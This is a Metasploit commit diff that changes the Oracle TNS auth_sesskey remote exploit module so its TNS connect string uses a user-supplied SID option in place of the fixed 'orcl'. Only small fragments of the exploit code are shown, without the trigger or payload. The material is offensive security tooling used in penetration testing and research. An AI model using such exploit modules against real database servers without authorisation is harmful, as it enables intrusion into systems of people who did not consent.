Updating tns_auth_sesskey to use a user-supplied SID

Applying the patch suggested by Lukas, here: http://mail.metasploit.com/pipermail/framework/2012-January/008374.html
unstable
Tod Beardsley 2012-01-11 07:31:36 -06:00
parent 13069990eb
commit 092b226cce
1 changed files with 2 additions and 1 deletions

View File

@ -71,6 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
Opt::RPORT(1521) Opt::RPORT(1521)
], self.class) ], self.class)
end end
@ -125,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
connect_data = "" + connect_data = "" +
"(DESCRIPTION=" + "(DESCRIPTION=" +
"(CONNECT_DATA=" + "(CONNECT_DATA=" +
"(SERVICE_NAME=orcl)" + "(SERVICE_NAME=#{datastore['SID']})" +
"(CID=" + "(CID=" +
"(PROGRAM=client.exe)" + "(PROGRAM=client.exe)" +
"(HOST=client_host)" + "(HOST=client_host)" +